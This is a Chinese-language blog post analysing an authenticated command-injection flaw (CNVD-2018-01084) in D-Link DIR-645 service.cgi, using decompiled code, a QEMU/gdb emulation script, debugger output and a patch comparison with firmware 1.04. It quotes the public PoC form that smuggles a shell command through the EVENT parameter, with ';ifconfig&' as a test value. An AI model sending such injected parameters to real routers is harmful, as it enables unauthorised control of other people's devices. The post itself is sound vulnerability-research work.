D-Link service.cgi远程命令执行漏洞分析

2019-10-16 约 527 字 预计阅读 3 分钟

声明:本文 【D-Link service.cgi远程命令执行漏洞分析】 由作者 raycp 于 2019-10-16 09:22:25 首发 先知社区 曾经 浏览数 443 次

感谢 raycp 的辛苦付出!

上篇文章分析了信息泄露漏洞,可以获取到密码等信息。此次主要是基于上篇文章的认证,分析该系列设备的认证后的命令执行执行漏洞,该漏洞形成的原因是由于service.cgi在处理HTTP POST请求中的数据不当,形成命令拼接,导致可执行任意命令。

漏洞描述

该漏洞编号为CNVD-2018-01084,受影响的型号包括D-Link DIR 615、D-Link DIR 645 、D-Link DIR 815,受影响的固件版本为1.03及之前。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令。

漏洞分析

此次的分析仍然是基于dir-645,去官网下载1.03的固件,下载1.04的固件

根据公开的exp中的信息,关键poc如下:

post_content = "EVENT=CHECKFW%26" + command + "%26"
...
URL + "/service.cgi"

关键信息为EVENT参数以及service.cgi页面,上篇文章中我们已经知道处理cgi的程序为cgibin,因此主要分析cgibin,看它是如何处理post过去的参数的。

binwalk -Me dir.bin提取固件,cgibin的文件路径为htdocs/cgibin

静态分析

将cgibin拖入到IDA与ghidra中进行分析。

iVar1 = strcmp(argv0,"service.cgi");
if (iVar1 == 0) {
UNRECOVERED_JUMPTABLE = servicecgi_main;
}

可以看到service.cgi对应的处理函数为servicecgi_main,跟进去该函数,关键代码如下:

memset(acStack280,0,0x100);
  request_method_ptr = getenv("REQUEST_METHOD");
  if (request_method_ptr == (char *)0x0) {
    __format = "No HTTP request";
    goto LAB_0040cf48;
  }
  iVar4 = strcasecmp(request_method_ptr,"POST");
  if (iVar4 == 0) {
    uVar3 = 0x400;
LAB_0040ced0:
    iVar4 = cgibin_parse_request(FUN_0040d1cc,(astruct *)0x0,uVar3);
    if (iVar4 < 0) {
      __format = "Unable to parse HTTP request";
    }
    else {
      iVar4 = sess_ispoweruser();
      if (iVar4 != 0) {
        iVar2 = get_para("EVENT");
        request_method_ptr = (char *)get_para("ACTION");
        iVar4 = get_para("SERVICE");
        if (iVar2 == 0) {
          if ((iVar4 != 0) && (request_method_ptr != (char *)0x0)) {
            iVar2 = strcasecmp(request_method_ptr,"START");
            if (iVar2 == 0) {
              __format = "service %s start > /dev/null";
            }
            else {
              iVar2 = strcasecmp(request_method_ptr,"STOP");
              if (iVar2 == 0) {
                __format = "service %s stop > /dev/null";
              }
              else {
                iVar2 = strcasecmp(request_method_ptr,"RESTART");
                if (iVar2 != 0) {
                  __format = "Unknown action - \'%s\'";
                  goto LAB_0040cf00;
                }
                __format = "service %s restart > /dev/null";
              }
            }
            goto LAB_0040d038;
          }
        }
        else {
          __format = "event %s > /dev/null";
          iVar4 = iVar2;
LAB_0040d038:
          lxmldbc_system(__format,iVar4);
        }

首先判断REQUEST_METHOD,如果是POST的话则调用cgibin_parse_request去解析post参数,该函数也在上篇大致分析过,将参数解析并存入到内存当中,需要提下的是该函数里面对CONTENG_TYPE进行判断并调用相应函数去处理,application/x-www-form-urlencoded对应的type会将参数进行url解码并存储。接着调用sess_ispoweruser函数判断传过来的cookie是否是有效cookie,如果有效的话则进去到参数获取阶段,由于可以通过信息泄露漏洞获取密码,所以也可以拿到有效的cookie。

参数获取阶段主要是去获取三个参数EVENTACTION以及SERVICE的值,get_para的返回值是相应的参数值,不存在该参数时返回0。最后如果是EVENT参数存在则调用lxmldbc_system,函数代码如下:

void lxmldbc_system(char *format,char *para0,char *para1,char *para2)

{
  char *local_res4;
  char *local_res8;
  char *local_resc;
  char acStack1036 [1028];

  local_res4 = para0;
  local_res8 = para1;
  local_resc = para2;
  vsnprintf(acStack1036,0x400,format,&local_res4);
  system(acStack1036);
  return;
}

结合调用部分,可以函数使用vsnprintf函数将EVENT参数与格式化字符串event %s > /dev/null构成命令后直接调用system去执行。由于对参数没有过滤且可控,所以形成了命令注入漏洞。

除了EVENT参数外,也可以使用ACTION以及SERVICE的组合进行命令注入。ACTION如果为STARTRESTART以及STOP则会将SERVICE的参数构成命令service %s start > /dev/nullservice %s restart > /dev/null以及service %s stop > /dev/null,也可以通过SERVICE参数形成命令注入漏洞。

动态调试

接下来进行动态调试进行验证,用命令sudo ./cgi_run_service.sh启动,脚本内容如下:

#!/bin/bash
# sudo ./cgi_run.sh

INPUT=`python -c "print 'EVENT=;ifconfig%26'"`

LEN=$(echo $INPUT | wc -c)
PORT="1234"


if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nusage: sudo $0\n"
    exit 1
fi

cp $(which qemu-mipsel-static) ./qemu

echo "$INPUT"  | chroot .  ./qemu  -0 "/service.cgi" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded"  -E REQUEST_METHOD="POST"  -E REQUEST_URI="/service.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT ./htdocs/cgibin "/service.cgi" "/service.cgi" #2>/dev/null
echo "run ok"
rm -f ./qemu

由于只是调试单个脚本,所以无法拿到有效的cookie,在这里的做法是断点断在0x40CF34,即判断cookie是否有效的处,并将其手动修改成1,便可以继续往下执行,执行到lxmldbc_system处。

.text:0040CF20 loc_40CF20:                              # CODE XREF: servicecgi_main+E4j
.text:0040CF20                 la      $t9, sess_ispoweruser
.text:0040CF24                 nop
.text:0040CF28                 jalr    $t9 ; sess_ispoweruser
.text:0040CF2C                 nop
.text:0040CF30                 lw      $gp, 0x130+var_120($sp)
.text:0040CF34                 bnez    $v0, loc_40CF58

整个动态调试的过程大致如下,可以看到lxmldbc_system参数为event %s > /dev/null以及;ifconfig&\n,最终构成命令;ifconfig&\n > /dev/null,命令注入的时候可以不用&来结束,用;也可以,为的是不要把执行结果重定向到/dev/null中,而是返回回来。

0x0040cf34 in servicecgi_main ()
(gdb) x/2i $pc
=> 0x40cf34 <servicecgi_main+316>:      bnez    v0,0x40cf58 <servicecgi_main+352>
   0x40cf38 <servicecgi_main+320>:      lui     a2,0x42
(gdb) i r $v0
v0: 0x0
(gdb) set $v0=1
(gdb) c
Continuing.
Breakpoint 1:
0x0040d038 in servicecgi_main ()
(gdb) x/2i $pc
=> 0x40d038 <servicecgi_main+576>:      jalr    t9
   0x40d03c <servicecgi_main+580>:      nop
(gdb) i r a0 a1
a0: 0x420d10
a1: 0x435108
(gdb) x/s $a0
0x420d10:       "event %s > /dev/null"
(gdb) x/s $a1
0x435108:       ";ifconfig&\n"
(gdb)

补丁比对

将1.04的cgibin进行分析,发现其关键部分代码发生了一定的变动,不再是使用lxmldbc_system调用system函数执行命令,而是将用户传入的参数,当成应用程序的参数,最后调用execel去执行,规避了命令注入。

// 第一部分, 调用解析参数FUN_0040ce38函数
                    else {
          __s1 = "/usr/sbin/event";
          __format = "event";
          pcVar4 = (char *)0x0;
          iVar5 = iVar2;
LAB_0040d180:
          FUN_0040ce38(__s1,__format,iVar5,pcVar4);
        }

//第二部分 FUN_0040ce38函数调用execel
undefined4 FUN_0040ce38(char *pcParm1,char *pcParm2,undefined4 uParm3,undefined4 uParm4)

{
  __pid_t __pid;
  int iVar1;
  undefined4 uVar2;

  __pid = fork();
  if ((-1 < __pid) && (__pid == 0)) {
    close(1);
    iVar1 = execl(pcParm1,pcParm2,uParm3,uParm4,0);
    if (iVar1 < 0) {
      return 0xffffffff;
    }
  }

小结

感觉dir系列的洞还挺多的,大概率最新版的固件里面应该也有问题。

相关文件和代码链接

参考链接

  1. 路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现
  2. dlink_auth_rce
  3. 路由器漏洞复现分析第二弹:CNVD-2018-01084

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now